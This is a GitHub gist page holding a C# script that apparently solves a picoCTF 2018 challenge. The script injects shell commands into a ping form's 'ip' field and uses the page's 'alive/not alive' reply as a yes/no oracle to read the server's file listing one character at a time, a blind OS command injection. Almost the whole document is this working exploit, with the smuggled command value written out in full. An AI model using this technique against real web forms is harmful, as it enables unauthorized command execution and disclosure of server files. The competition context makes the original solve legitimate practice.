Skip to content

Instantly share code, notes, and snippets.

@key-moon

key-moon/fam.cs Secret

Last active October 8, 2018 02:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save key-moon/50ca116c216afb04c70e1fdf528f0109 to your computer and use it in GitHub Desktop.
Save key-moon/50ca116c216afb04c70e1fdf528f0109 to your computer and use it in GitHub Desktop.
static void Main()
{
Solve();
}
static async Task Solve()
{
try
{
//string alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}. !\"#$%&()=~`{+*}<>?_-^\\@[;:],./";
string alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}. ";
int count = 1;
while (true)
{
List<Task<bool>> tasks = new List<Task<bool>>();
foreach (var c in alphabet)
{
string cmd = $@"$(ls | tr '\n' ' ' | cut -c {count} | grep '{c}')";
tasks.Add(Execute(cmd));
}
Task.WaitAll(tasks.ToArray());
var item = tasks.Select((x, y) => new Tuple<int, bool>(y, x.Result)).FirstOrDefault(x => x.Item2);
Console.Write(item is null ? ' ' : alphabet[item.Item1]);
count++;
}
}
catch (Exception e)
{
Console.WriteLine(e);
}
}
static async Task<bool> Execute(string cmd)
{
HttpClient client = new HttpClient();
HttpResponseMessage msg = await client.PostAsync("http://2018shell2.picoctf.com:8587/index.php", new FormUrlEncodedContent(new Dictionary<string, string>
{
{ "ip", $"111a111a111a111 & if [ {cmd} ]; then echo '100% packet loss'; else echo '0% packet loss'; fi" }
}));
string resstr = await msg.Content.ReadAsStringAsync();
bool res = resstr.Contains("Target is NOT alive.");
Debug.WriteLine($"end : {cmd}\n res : {res}");
return res;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment